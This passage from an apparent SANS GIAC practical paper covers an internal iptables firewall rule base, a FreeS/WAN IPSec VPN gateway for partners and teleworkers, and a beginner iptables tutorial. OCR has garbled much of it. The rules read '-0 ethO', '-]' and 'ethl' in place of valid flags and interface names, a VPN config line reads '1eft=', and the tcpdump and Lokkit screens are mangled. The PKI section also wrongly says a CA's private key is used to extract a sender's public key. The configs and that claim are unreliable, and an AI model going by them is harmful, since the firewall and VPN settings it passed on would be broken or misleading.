80.-A FORWARD -i eth2 -0 ethO -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.68 -] ACCEPT

81.# REF 15424-19

82.-A FORWARD -i eth2 -0 ethO -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.69 -] ACCEPT

83.# REF 15424-20

84.-A FORWARD -i eth2 -0 ethO -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.71 - ACCEPT

85.# REF 15424-21

86.-A FORWARD -i eth2 -0 ethO -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.70 -] ACCEPT

87.# REF 15424-22

88.-A FORWARD -i eth2 -0 ethl -p icmp -m icmp --icmp-type 8 -s
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192.168.3.240/28 -d 192.168.3.130 -j ACCEPT
89.# REF 15424-23
90.-A FORWARD -i eth2 -0 ethl -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.131 -j ACCEPT
91.# REF 15424-24
92.-A FORWARD -i eth2 -0 ethl -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.132 -] ACCEPT
93.# REF 15424-25
94.-A FORWARD -i eth2 -0 ethl -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.133 -] ACCEPT
95.# REF 15424-26
96.-A FORWARD -i eth2 -0 ethl -p icmp -m icmp --icmp-type 8 -s
192.168.3.240/28 -d 192.168.3.134 -] ACCEPT
97.# REF 155-3
98.-A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.96/27 -d
192.168.3.133 --dport 465 --syn - ACCEPT
99.# REF 155-4
100. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.96/27 -d
192.168.3.133 --dport 993 --syn - ACCEPT
101. # REF 155-5
102. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.96/27 -d
192.168.3.132 --dport 80 --syn -] ACCEPT
103. # REF 155-6
104. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.96/27 -d
192.168.3.132 --dport 443 --syn - ACCEPT
105. # REF 155-7
106. -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.3.96/27 -d
192.168.3.130 --dport 53 -j ACCEPT
107. # REF 1561-3
108. -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.3.68 -d
192.168.3.134 --dport 514 -j ACCEPT
109. # REF 1561-4
110. -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.3.69 -d
192.168.3.134 --dport 514 -j ACCEPT
111. # REF 1561-5
112. -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.3.71 -d
192.168.3.134 --dport 514 -j ACCEPT
113. # REF 1561-6
114. -A FORWARD -i ethO -0 ethl -p udp -m udp -s 192.168.3.70 -d
192.168.3.134 --dport 514 -j ACCEPT
115. # REF 1565-1
116. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.68 -d
192.168.3.133 --dport 465 --syn -j ACCEPT
117. # REF 1565-2
118. -A FORWARD -i ethl -0 ethO -p tcp -m tcp -s 192.168.3.133 -d
192.168.3.68 --dport 465 --syn - ACCEPT
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119. #REF 1571-1

120. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.70 -d
192.168.3.131 --dport 3306 --syn - ACCEPT

121. # REF 1571-2

122. -A FORWARD -i ethO -0 ethl -p tcp -m tcp -s 192.168.3.70 -d
192.168.3.131 --dport 443 --syn - ACCEPT

123. -A FORWARD -j LOG

124. COMMIT

2.6.2. Internal Firewall Rule Base Explanation

Although, the above rule base might look very hard to comprehend, it is
really not. You could see clearly that there are actually three sections: INPUT
section, OUTPUT section, and FORWARD section. For gateway firewall
such as External Firewall or Internal Firewall, the majority of rules will be in
FORWARD section where the filters for traffic passing through it are defined.

| did some coloring to aid readability, the blue line (e.g. 1,2,3,4, .., 123,
124) are the one that must be put without having references to any access
requirements.

Also notice that the first line of each section is the rule allowing traffic
belong to the connection flow that are in the ESTABLISHED state to pass
through. We expect that a majority of packet belonging to the ongoing
connection will only check against this rule, so their really is the performance
gain form using this feature of stateful firewall.

Besides from the first rule within each chain, the rest of the chains are the
condition where we allow the connection to take place. Every rule that allow the
connection to take place are strictly followed the access requirements and the
reference number to each access requirement are commented just above each
rule to give informative about the association between that rule and access
requirements.

Please note that we strictly use the option “—syn” for every TCP based
rule, because we only allow the connection to take place by the coming of a SYN
packet.
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2.7. IPSec VPN Security Gateway

There are many VPN solutions out there, PPTP, L2TP. We choose
IPSec VPN to do the job. FreeS/WAN is one such IPSec VPN implementation

for Linux.

2.7.1. Use cases

When setting it up, we consider two use cases.

Tunneling VPN from partner or supplier sub-network to our sub-

network
| O = N |
— = = —= = =
VPN Tunnel
192.168.4.x 192.168.3.x

VPN Security Gateway

VPN Security Gateway

In this case, we would like the computer on 192.168.4.x (or 192.168.5.x or
192.168.6.x, in our case) network to be able to communicate securely over the
VPN tunnel through the IP Network to the computers on 192.168.3.x.

The suppliers or partners use the VPN to gain access to GIAC Enterprises
local network. Because GIAC Enterprises’s External Firewall block attempt from
outside world to the servers inside its Internal DMZ, without establishing VPN
Tunneling to the VPN security gateway first, attempts to make any connection to
the Supplier’s or Partner's Web Server resided on the Internal DMZ will fail.

Tunneling VPN from the laptop or PCs of our remote sales force
or tele-workers to our sub-network.
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In this second case, we want the computer to be able to connect to any
ISP, and then be able to make a VPN Tunnel from itself to the security gateway.
Then, it can obtain the local IP address (e.g. 192.168.3.190-192.168.3.200) from
the DHCP server running on security gateway. After then, it can make any
communication with the servers on 192.168.3.x as if it is on the local network.

The remote sales force or tele-workers uses VPN in order to send out e-
mail (because our mail server will not allow access from the IP outside the GIAC
Enterprises’s IP range) and to access to server inside Internal DMZ.

2.7.2. Authentication scheme

We are referring to the way that the security gateway identifies the other
side, such as partner’s or supplier’s security gateway or teleworker’s laptop or
PC. There are several ways to do that ranging from any pre-arranged shared
key to use of public key. We prefer the “public key” way.

Even with that preference, we also have several choices, such as specify
exchanging the other’s side public key directly and put them into each other’s
configuration file. We choose to do it with the use of x.509 digital certificate.
This certificate can be purchased from CA (Certificate Authority) such as Verisign
or Tawte. When suitable, e.g. both parties has already known each other such
as our case, one may use home-grown CA (Certificate Authority).
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On the topic of CA

In the CA model, everybody trusts the CA to certify people, server, etc. that they
really are who they claim they are. What CA does is just to certify based up on
credible evidence and issue them the certificate.

CA model of trust is based on the use of Public Key Infrastructure (PKI). For
everyone, there are a pair of key, generated to compliment each other, one we
called “Public Key” and the other one is “Private Key”. Whatis “encode” using
the private key can be decoded only by the public key, and vice versa.

Encrypt and Sign

We used the term “encode” to avoid any confusion with the
use of PKI in e-mail where the terms “encrypt” and “sign” are
prevalent. In that sense, the term “encrypt” mean, a
person use the recipient’s public key to “encode” information
sending the it (to ensure that only the recipient can “decode”
the information. This way the confidentiality of the
information is protect. Also, in that sense, the term “sign”
mean, a person use his own private key to “encode”
information and sending it to the recipient, then the recipient
find the person’s public key, which should be available, to
“decode” the information. This way the recipient know that
the information is really coming from the sender, because he
trust that only the sender posses the private key, and the fact
that only his public key can “decode” it, thus, he can be sure
that the information is really come from the sender. This
way the identify of sender can be authenticated and his
action cannot be denied (i.e. non-repudiation). In both
“encrypt” and “sign” case, if the “encoded” message has
been changed or modified along the way, it can not be
“decoded” properly, so we know by then that is has been
tampered with. This preserves the integrity of the message.

In the CA model, everybody digital certificate (which hold their public key) are
signed by CA private key (thus, only CA public key is able to “decode” it,
establishing the authenticity of the digital certificate that it is issued by the CA.)
Secure communication occurs as described in previous section, but this time the
recipient extracts the sender’s public key from his digital certificate using CA’s
private key. If the recipient trusts the CA, then he trusts the sender.
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We set up the home-grown CA to issue the digital certificate to our tele-
workers, remote sales force, partner and supplier, so that their security gateway
or their PCs can communicate with GIAC Enterprises security gateway.

2.7.3. VPN Security Gateway Selection

With reference to the network architecture, since we only want the other
end of our VPN tunnel to access only the Internal DMZ, we could set up the
Internal Firewall to be both the firewall and the VPN Security Gateway (or VPN
end-point). However, we realize that the FreeS/WAN or VPN service is just
another application that could be vulnerable to attack (the application waiting for
connection or UDP port 500).  With that in mind, we would rather set one up in
the External DMZ. This way, we could still be able to regulate the traffic between
the Security Gateway and our Internal DMZ.

When setting the security gateway to be the different one from the default
gateway of any host, one should set the static route to redirect the traffic going to
the VPN subnet to the security gateway instead of going through the default
gateway. For example, we set the static route (on every host within External

DMZ62) pointing to our partner’s and supplier’'s network (192.168.4.x,
192.168.5.x) to the security gateway rather than the External Firewall.

2.7.4. IPSec protocols

There are two protocols that we could use with IPSec, Authentication
Header (AH) and Encapsulating Security Payload (ESP).

Authentication Header (AH) provide high level of integrity checking but
provide little protection for pay!oad.

Encapsulating Security Payload (ESP) provides confidentiality service.
We used ESP as our security protocol because we can encrypt the payload
within the ESP packet. In other words, while AH is used for authenticating data

stream, ESP is used for both encryption and authentication of the IP packets.63
2.7.5. Configuring the IPSec VPN Security Gateway

In this section, we present the detail about how the FreeS/WAN has been
configured in our VPN Security Gateway.

The configuration of FreeS/WAN is not as easy as one might expect.
Worse yet, many documents do not seem to be written for average person. |
have never seen any document talking about what exactly is the “left”, “right”,
“leftsubnet”, “rightsubnet”.

62 Including the static route on Internal Firewall
63 Clavister AB, “IPSec Basic”,
http://www.clavister.com/manuals/ver8x/manual/vpn/ipsec_basics.htm
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—= =1 = = = =
VPN Tunnel
192.168.4.x 192.168.3.x
GIAC
| < Security
VPN Security Gateway VPN Security Gatgviagteway

From the figure above, what is the LEFT referred to by the FreeS/WAN
configuration? Well, that depends. Depending on who make a connection
request to whom, i.e. who make a request to establish the VPN connection.

For GIAC Enterprises, the other end makes a VPN tunnel setup request to
the VPN security gateway, so we will always refer to it as left.

Let examine some part of the FreeS/WAN configuration on our VPN
Security Gateway section by section.
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2.7.5.1. “config setup” section

config setup
# THIS SETTING MUST BE CORRECT or almost nothing will work;
# %defaultroute is okay for most simple cases.
interfaces=%defaultroute
#interfaces=%defaultroute
# Debug-logging controls: "none" for (almost) none, "all" for lots.
klipsdebug=none
plutodebug=none
# Use auto= parameters in conn descriptions to control startup actions.
plutoload=%search
plutostart=%search
# Close down old connection when new one using same ID shows up.
uniqueids=yes

In this section, we use the default provided by the FreeS/WAN package.
The debug can be changed to “all’. The debugging information is shown in
/var/log/secure (at least for our RedHat box).

2.7.5.2. “conn %default” section

conn %default
type=tunnel
keyingtries=0
disablearrivalcheck=no
compress=no
authby=rsasig
rightrsasigkey=%cert
left=192.168.3.70
leftnexthop=192.168.3.65
leftcert=gateway.cert.pem
right=%any
auto=add

This section provides the default value for some parameters, if the same
parameters appear in any connection setting that follows it will be superceded by
the new definition of that parameter. If, in the other hand, the parameters is not
specified in the specific connection setting, then the default value is used.

For GIAC Enterprises, all of our VPN connection will be “tunnel” covering
the VPN from subnet-to-subnet or from machine-to-subnet. The “left” is the IP
of the VPN gateway. The “leftnexthop” is the next hop from our VPN gateway
toward the other end, for us, this is 192.168.3.65 for all VPN connection. We do
not specify the right by saying it can be any (“%any keywork”).

Also we have specified that the “digital certificate” will be used to
authenticate the other end by setting “rightrsasigkey=%cert”. The keywork
“leftcert=gateway.cert.pem” have already implied that.

By the way, the directory that server expect to see “gateway.cert.pem” key
is /etc/ipsec.d.
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2.7.5.3.“conn P” section64

conn P
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.4.0/2465

This section is for our partner, P Enterprises. Putting along with the “conn
%default” we can draw this picture.

VPN Tunnel

192.168.4.x 192.168.3.x

192.168.3.70

VPN Secuity Gt/

VPN Security Gateway

If this section is not exist, then the FreeS/WAN will not be able to set up
between our security gateway and P Enterprises security gateway.

64 First the name of the connection can be any other than “P”.
65 We assume that our partner have posses this Internet routable IP range for the subnet it would
like to be able to communicate with us securely.
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2.7.5.4.“conn S” section

conn S
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.5.0/2466

This section is for our supplier, S Enterprises. Putting along with the
“conn %default” we can draw the similar picture as the conn P, the different is
only with the IP range of the subnet which would be 192.168.6.0 instead of
192.168.5.0.

2.7.5.5. “conn DHCP” section

conn DHCP
rekey=no
keylife=30s
rekeymargin=15s
leftsubnet=0.0.0.0/0
leftprotoport=udp/bootps
rightprotoport=udp/bootpc

This section is for our remote sales force or tele-workers. Putting along
with the “conn %default” we can draw the following picture.

C =1 =) =1

VPN Tunnel

192.168.3.x

192.168.3.xxx

This section is for the first time that the VPN client has not obtained the IP.
So we have restricted that only BOOTP protocol is allowed for the (temporary
VPN connection) that has been established. The configuration about “key” are
about to make it possible for this connection to be short-life (only for the purpose
of obtaining IP through DHCP over IPSec) i.e. the connection will be flushed out
by the VPN gateway automatically after 30 second.

2.7.5.6. “conn DHCP” section

66 We assume that our supplier have posses this Internet routable IP range for the subnet it
would like to be able to communicate with us securely.
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conn VPN-DHCP
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.3.0/24

Once the IP is obtained via DHCP over IPSec, then the VPN client will
immediately tried to make another VPN connection request to the VPN gateway.
The fact that the client has just obtained the IP in the range of 192.168.3.0/24
make it possible for the FreeS/WAN to match against this section (if no section is
matched that the VPN connection will not be made.)

The full version of FreeS/WAN is shown in the next page.
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# letc/ipsec.conf - FreeS/WAN IPsec configuration file

# More elaborate and more varied sample configurations can be found
# in FreeS/WAN's doc/examples file, and in the HTML documentation.

# basic configuration

config setup
# THIS SETTING MUST BE CORRECT or almost nothing will work;
# %defaultroute is okay for most simple cases.
interfaces=%defaultroute
#interfaces=%defaultroute
# Debug-logging controls: "none" for (almost) none, "all" for lots.
klipsdebug=none
plutodebug=none
# Use auto= parameters in conn descriptions to control startup actions.
plutoload=%search
plutostart=%search
# Close down old connection when new one using same ID shows up.
uniqueids=yes

# defaults for subsequent connection descriptions
# (these defaults will soon go away)
conn %default
type=tunnel
keyingtries=0
disablearrivalcheck=no
compress=no
authby=rsasig
rightrsasigkey=%cert
left=192.168.3.70
leftnexthop=192.168.3.65
leftcert=gateway.cert.pem
right=%any
auto=add

conn P
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.4.0/24

conn S
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.5.0/24

conn DHCP
rekey=no
keylife=30s
rekeymargin=15s
leftsubnet=0.0.0.0/0
leftprotoport=udp/bootps
rightprotoport=udp/bootpc

conn VPN-DHCP
leftsubnet=192.168.3.0/24
rightsubnetwithin=192.168.3.0/24
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2.7.6. Configuring the IPSec VPN Client

. . . 67
At GIAC Enterprises, we use SSH Sentinel version 1.4 as the IPSec
client for our remote sales force and tele-workers. Here is how we set them up.

The following screen shot are after we have imported the CA public keys
and the client’s certificate to the program. For more information, we refer to
SSH Sentinel 1.3 and FreeS/WAN IPSec,
http://www.ssh.com/documents/31/ssh_sentinel 13 freeswan.pdf. This
document comes to rescue up during the process of setting up the SSH Sentinel
and the FreeS/WAN. Although, it is primarily written for Version 1.3. of SSH
Sentinel, it can be used as a guide to configure SSH Sentinel version 1.4.
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f
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67 http://www.ssh.com/products/security/sentinel/
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2.7.7. FreeS/WAN configuration on the partner’s VPN gateway

We provide the configuration for the FreeS/WAN on the partner's VPN
gateway here as a reference for those who might be interested in.

# letc/ipsec.conf - FreeS/WAN IPsec configuration file

# More elaborate and more varied sample configurations can be found
# in FreeS/WAN's doc/examples file, and in the HTML documentation.

# basic configuration

config setup
# THIS SETTING MUST BE CORRECT or almost nothing will work;
# %defaultroute is okay for most simple cases.
interfaces=%defaultroute
# Debug-logging controls: "none" for (almost) none, "all" for lots.
klipsdebug=none
plutodebug=none
# Use auto= parameters in conn descriptions to control startup actions.
plutoload=%search
plutostart=%search
# Close down old connection when new one using same ID shows up.
uniqueids=yes

# defaults for subsequent connection descriptions
# (these defaults will soon go away)
conn %default
type=tunnel
keyingtries=0
disablearrivalcheck=no
compress=no
authby=rsasig
rightcert=p.cert.pem
leftrsasigkey=%cert
rightrsasigkey=%cert
auto=add

#P-TO-GIAC
conn P-TO-GIAC
leftcert=gateway.cert.pem
# Left security gateway, subnet behind it, next hop toward right.
right=192.168.4.66
rightsubnet=192.168.4.192/26
rightnexthop=192.168.4.65
# Right security gateway, subnet behind it, next hop toward left.
1eft=192.168.3.70
leftsubnet=192.168.3.0/24
leftnexthop=192.168.3.65
# To authorize this connection, but not actually start it, at startup,
# uncomment this.
auto=add

Some of the parameters above is worth investigation.

rightcert=p.cert.pem

During the connection request, this certification is used to identify the VPN
gateway and also imply that the “digital certification” approach will be used to
authenticate itself to the GIAC Enterprises’ sVPN server.

leftcert=gateway.cert.pem
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This VPN gateway expects that the VPN gateway it is connecting with is
the right gateway by examining the other side digital certificate against this one.

This VPN gateway
initiate the VPN
connection request to the
RIGHT other end

I =1 L E L
VPN Tunnel
rightsubnet |ge£tslg%n§t
192.168.4.192/26 192.168.3.x

GIAC Enterprises VPN
Security Gateway

P Enterprises VPN
Security Gateway

rightnexthop leftnexthop left

right 192.168.4.65 192168365 197168370
192.168.4.66

The figure show detail about keyword such as “right”, “rightsubnet”,
“rightnexthop” and “left”, “leftsubnet”, and “leftnexthop”. | know that the “RIGHT”
and “LEFT” are on the wrong side, | just want to show how misleading one
configuration could be.

[root@linux root1#
[root@linux rootl#
[root@linux root1#
[root@linux root1#
[root@linux root1#
[root@linux root1#
[root@linux root1#
root1# ipsec auto --verbose --up P-TO-GIAC
HZ4 need --listen before —--initiate
[rootBlinux rootl# ipsec auto --verbose --up P-TO-GIAC
"P-TO-GIAC" #1: initiating Main Mode
"P-TO-GIAC" #1: STATE_MAIN_I1: initiate
b "P-TO-GIAC™ #1: STATE MaAIN_IZ2: sent MIZ, expecting MRZ
"P-TO-GIAC" #1: STATE_MAIN_I3: sent MI3, expecting MR3
"P-TO-GIAC" #1: Peer ID is ID_DER _ASN1 DN: °“C=GB, ST=Berkshire, L=Newbury, 0O
Company Ltd, CH=FreeS-WAN Gateway, E=-gatewaylgits.net.th’
"P-TO-GIAC" #1: Issuer CRL not found
"P-TO-GIAC" #1: Issuer CRL not found
"P-TO-GIAC" #1: ISAKMF 3A established
"P-TO-GIAC" #1: STATE_MAIN_I4: ISAKMP SA established
"P-TO-GIAC" #2: initiating Quick Mode RSASIG+ENCRYPT+TUNNEL+FFS3
"P-TO-GIAC" #2: STATE_QUICK I1: initiate
"P-TO-GIAC" #2: sent QIZ, IPsec SA established
"P-TO-GIAC" #2: STATE QUICKE IZ: sent 12, IPsec Sfi established
[root@linux root1#

The above figure show what would happen when P Enterprises VPN
gateway is trying to connect to the GIAC Enterprises VPN gateway. First, the
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IKE phase, then IPSec SA phase. Also, the certificate of the other end is
received during the IKE phase for authentication against

“leftcert=gateway.cer.pem”

2.7.8. tcpdump of ESPs.

the ESP packet.

Examples of GIAC Enterprises’s digital certificate and private key is
available in the Appendix A & B.

In the next figure, we show the example of the “tcpdump” on the gateway
sitting between two VPNs gateway after the VPN tunnel has been built. Note
that we could not see the detail of the packet, the information is encypted within

[rootRlinux rootl#

[rootBlinux rootl# tcpdump -i ethB
listening on eth@

192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.
192.

© SANS Institute 2003,

.112495
.119863
127487
.138729
1171728
.119934
.153881
.159754
.169344
.176355

.185786
.188615
.179486
.186898

168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.
168.

LR IS T YT T S T S T SO T Y

i A A A T A

! ESP(spi=Bxfdd93c84,seq=8x18)
6: ESP(=pi=-Bx27Ba8d438,=seq=8x15)
! ESPispi=8xfdd33c84,seq=Ax11)
6: ESP(=pi=-Bx27Ba8d438,=seq=8x16)
! ESPispi=8xfdd33c84,seq=-Ax42)
6: ESP(=pi=-Bx27Ba8d438,=seq=8x17)
! ESP(=spi=Bxfdd93c84,seq=8x13)
6: ESP(=pi=-Bx27Ba8d438,=seq=8x18)
! ESPispi=8xfdd33c84,seq=-Ax14)
6: ESP(=pi=-Bx27B8a8d438,=seq=8x19)
! ESPispi=8xfdd33c84,seq=Ax15)
6: ESP(=pi=-Bx27Ba8d438,seq=Bx1a)
! ESPispi=8xfdd33c84,seq=Ax16)
6: ESP(=pi=-Bx27B8a8d438,seq=8x1b)

As part of GIAC practical repository.
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2.8. TUTORIAL: iptables & Stateful firewalls on Linux RedHat 8.0

Linux firewall such as ipchains and iptables has been shipped with
RedHat Linux for a while. While packet-filtering firewall, ipchains, is based on
kernel 2.2, its counterpart, stateful firewall capable iptables is based kernel 2.4
and is shipped with RedHat Linux version 8.0.

2.8.1. Roles of “Lokkit”

During installation, a question is asked what level of pre-defined
configuration of iptables should be [High, Medium, Low].

There are some subtle differences among those levels, which those who
are eager to know in detail could be check easily with the use of tools named
“lokkit”.

Lokkit offer the same screen as seen during the installation, one can lauch
the tool on command prompt with root privilege. | mention it because it is handy
in template creation of “iptables” configuration files and the reminder of some
parameters that | sometimes forgetten. Besides those benefit, | do not really
take lokkit as a serious tool to do firewalling.

2.8.2. Ready to use “FIREWALL”

Making iptables available for immediate use without much effort to hack
and compile new kernel is proved to be much beneficial to the host & network
security in general. The more it is easy to use, the more people literally use it
(rather than “would love to” use it). Let admit the truth that many of us tends to
put off thing that are difficult to use (or takes a lot of steps to use). Many of the
time a system was hacked, simply because the system administrator know what
he SHOULD have done, but have postponed it.

Once installation finish, a configuration file is at /etc/sysconfig/iptables.
For customization, one can just make a copy of rule [e.g. rules that allow SSH to
pass through], then change the destination port signify by --dport. Yes, as
simple as that.

2.8.3.80/20 rules

We are using 80/20 rules of learning iptables. There is a lot of detail
concerning the immediate and advanced use of iptables to do many fancy things.
But for most people the 20% of iptables that we discussed here will be used 80%
of the time.

It is only this 20% that matter, allow you to have more time learning the
other 80% that MIGHT be necessary. So, master them now!
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2.8.4. Host-centric vs Gateway Firewall

With the available firewall for every copy of RedHat Linux, every host can
do firewalling. Those that do protection for themselves only are “host-centric
firewall”, screening packets coming into (or going out of) the host. Those that
have more than one interface (or so called dual-home host) and act as the traffic
controller between segments of network are called “gateway firewall”.

We recommended every host do “host-centric” firewall and there should
be another one or two layer of “gateway firewall” to protect the overall network.
With the available of “host-centric” firewall, a host can even be configured to
resist attacks from another host residing on the same network segment.

2.8.5. OS Hardening for gateway firewall

Making the strong system capable of resisting attack over the network
involved OS hardening. The golden rules to do OS hardening on firewall
systems are

- Close all service ports. Do not serve any service on the firewall
system. One opening port means one more possible hole waiting to

be exploited. Unopened port cannot be broken into.68

Disable accounts. Disable all other user accounts except
administrator’s account and root.

Set the strong password and change often. Pick the good
password that resist brute-force attack or dictionary attack. Pick up the
good combination of letters, symbols and numbers.

Make the default policy for INPUT & OUTPUT to DROP69. Just to
make sure that none of the connection requested to the host is
accepted. This is another application of defense-in-depth philosophy.

2.8.6. General guidelines with regard to the effective use of “stateful
firewall”

Make default policy to DROP7O. If the packets does not match any of
the “allow” rules below, then it is by policy DROPed.

Always accept packets that are part of the (already) established
connection. Check first if the incoming packet belongs to the
connection flow that has been accepted (thus the connection state are
in ESTABLISHED). If yes, then let it go without further examination.

68 Please note that in our case, we should to open the SSH port for the system administrator.
Yes, we are trading the convenience of system administer and his capability to administer the
system remotely (from his PCs) with (possible) drop of security.

69 This suggestion is only for the gateway firewall where most action happen within FORWARD
chain. Host-centric firewall deal with INPUT & OUTPUT chain without concerning anything about
FORWARD chain.

70 for all chain in the filter tables namedly INPUT, FORWARD and OUTPUT.
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Limit the incoming rate to avoid being attacked by possible Denial of
Service attack (DOS)

Give the definition of what would be allowed to establish
connection. Check any incoming packets (TCP, UDP, ICMP) to see if
it is allowed based on source IP, destination IP, source PORT,
destination PORT, and if it is allowed then check further to see if these
are the NEW request to establish connection.

Drop or reject anything else.

2.8.7. “Tables” within Linux’s iptables

A “tables” in iptables can be thought of as a “task”. You will only need to
know one of them for now, that table is “filter” table. As the name imply, firewall

rules resides in this table is about “filtering”.71
2.8.8. “Chains” within “Tables” of Linux’s iptables

Within a table, there are a lot of “chain” or set of rules. One can think of
them as different set of “smaller” procedure within a task. Within the “filter”
table, there are three chains: INPUT, OUTPUT and FORWARD.

Taking 80/20 rules into consideration. Learn the following two rules if you
would like to set the host-centric firewall.

2.8.8.1. Host-centric firewall

INPUT chain. Packets destined to the host (or the firewall itself) will be
examined against rules within INPUT chain.

OUTPUT chain. Packets originated within the host (or the firewall itself)
and are about to leave the host (or the firewall) will be examined against rules
within OUTPUT chain.

2.8.8.2. Host-centric firewall
For those who do “gateway firewall” learn only one chain.

FORWARD chain. Packets from one network that are passing the firewall
to another network are examined against rules within FORWARD chain.

2.8.9. Format of the rule

71 Another table that might be of interest is “nat” that do Network Address Translation. There are
a lot of detail covering the NAT and iptables. | suggest doing 80/20 by learning the masquerade
rule. Masquerading help a great deal in protecting the segment that only clients reside (no
servers).
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Our golden 80/20 rules tell us to simplify things. So in our context, each
rules within any chain composed of three parts, which are chain identification,
conditions, and action.

Chain

Identification CONDITIONS ACTIONS

For now, we would only talk about possible ACTIONS. The only three

actions that we would like you to know are ACCEPT, DROP, and LOG.72

ACCEPT means if the packets meet the conditions (or criterions), then
“admit” it, and then abort the examination process for this packet.

DROP means if the packets meet the conditions (or criterions), then
“discard” it, and then abort the examination process for this packet.

LOG means if the packets meet the conditions (or criterions), then print

. . . ) . . 13
out that packet information (and also log that information into a log file ), and
then continue the examination process to examine the packet with the next rule
in the chain. This action is really helpful in both rule constructions, and firewall
auditing.

2.8.10. Example of a host-centric firewall

| intentionally skip the “chain identification” and “condition” part because
explaining them in words are too difficult to understand. Let a novice learn from
the example. As people always say “I hear and | know (and forget), but if | did it
and | remember (hopefully, forever).”

Example requirements: Set up the host-centric firewall with the default
policy to DROP. Then configure the firewall to

From Inside-out
Allow pinging out to other machine
Allow HTTP to other machine
Allow FTP to other machine
Allow DNS query to other machine

From Outside-in
Allow access to port 22 (SSH)
Allow access to port 21 (FTP)
Allow pinging from other machine

72 REJECT is another possible action, its discard the packet and return the reason why the
packets is discarded via ICMP protocol. | personally feel that DROP is better, it keep the other
end waiting for the time-out instead of telling the other end directly that his packets has been
dropped. DROP always prolongs the time to do port scanning.

73 It is normally in /etc/messages for the default installation of RedHat Linux. Iptables use syslog
facility to log information.
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2.8.10.1. Use lokkit to create template
Run Lokkit from the command prompt with root privilege.

{ Firewall Caonfiguration |

A firewall protects against unauthorized network
intrusions. High security blocks all incoming accesses.
Medium blocks access to system services (such as telnet
or printing), but allows other connections. No firewall
allows all connections and is not recommended.

Security Level: KNI EENGENET ENGERETTITN

{Tab>~/<Alt-Tab> beltween elements <Space> selects | «F12> next screen

Do not select any trusted devices! (You have been warned!) Select
DHCP and SSH. (We will need some template, DHCP rule provide us the
example of rule for UDP service, and SSH provide us the example of TCP
service.

| Firewall Configuration - Cuslomize |

You can customize your Firewall in two ways. First, ygou can seleet
to allow all traffic from certain network interfaces. Second, you
can allow eertain protocals explicitly through the Hﬂ:uull Speeify
additional ports in the form 'service:protocol’, such as 'imap:tep’.

Trusted Devices: [NENENNT] (NENCENN] BRENCENE

Other ports
iz

{Tab>~/<Alt-Tab> beltween elements <Space> selects | «F12> next screen

Use any editor to edit /etc/sysconfig/iptables. | personally love vi.

69
© SANS Institute 2003, As part of GIAC practical repository. Author retains full rights.



filter

CINPUT ACCEPT [B:81
:FORWARD ACCEPT [B:8]
OUTPUT ACCEPT [(B:81

RH-Lokkit-B-58-INPUT -p tep -m tep —-dport 22 —-syn -j ACCEPT
RH-Lokkit-8-58-INPUT -p udp -m udp -5 BsB --sporl 67:68 -d B/B --dport &7:68
i ethB -j ACCEPT
- " -p wdp -m udp -s BsH --sport 67:68B -d B/8 --dport £7:68

" =i la -j ACCEPT
" -p wdp -m wdp - 127.8.8.1 --sport 53 -d B-s8 -j ACCEPT

"setcssyseonf igsiptahles”

Change the default policy (INPUT, FORWARD and OUTPUT). Remove
the marked line. Then replace “RH-Lokkit-0-50-INPUT” with just “INPUT".

funp=post will ounch The (TN &

£ilier h e
T R el Default policy to DROP
:FORWARD DROP [8:81
:OUTPUT DROP (8:81

INPUT -p tep -m tep ——dport 22 —--syn -j ACCEPT
INPUT -p wdp -m udp -s B8/ --sport 67:68 -d B8s8 --dport 67:68 -1 ethB -j ACCE

INPUT -p wdp -m udp -s 848 --sport 67:68 -d Bs8 --dport 67:68 -1 ethl -j ACCE
INPUT -i lo -j ACCEPT

INPUT -p wdp -m udp -s 127.8.8.1 --sport 53 -d B8/8 -j ACCEPT
COMMIT

"setessysconf igsiptables” 15L, 6BBC written

Then, comments out most of the rules as we intended to use them as our
template when needed. We now block everything both from inside-out and
outside-in. Be sure though that you allows loopback interface or “lo” to flow

freely74.

74 As it is always used as a mean for IPC, Inter-process Communication, via sockets, otherwise
you may experience some weird behavior of your machine.
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filter

:INFUT DROP [R:A1
:FORWARD DROP [A:A1
:OUTPFUT DROP [B:81

-A INFUT i lo -j ACCEPT

-A DUTPUT lo -j ACCEPT

i tep -m top --dport 22 --sun -j ACCEFT
udp -m udp -5 B-8 --sport 67:68 -d B-8 --dport 67:68 -i ethd -j ACC
udp -m udp -s B-8 --sport 67:68 -d B8 --dport 67:68 -i ethl -j ACC

udp -m udp -s 127.8.8.1 --sport 53 -d B-8 -j ACCEFT

"setcs/sysconfigsiptables™ 12L, 489C
Figure 3. “Template A”

There we go. The above is the template that we’ll always be used. We
will always start from this template for other example. Let name it “Template A”.

Please note that | went the long way to reach this template for show that
you do not need to memorize it. You can create one from the lokkit and some
minor change. Save your memory to do something else!

Exit you editor, then restart the firewall.

2.8.10.2. Simple rules explanation

At this point we just want to point out that the rule is amazingly easy to
create and understand. From the template A, the rules are

Rule # Chain Identification Conditions Action
1 -A INPUT —ilo —j ACCEPT
2 -A OUTPUT —olo —j ACCEPT

Rule #1 add one rule into the INPUT chain. The condition said “if the
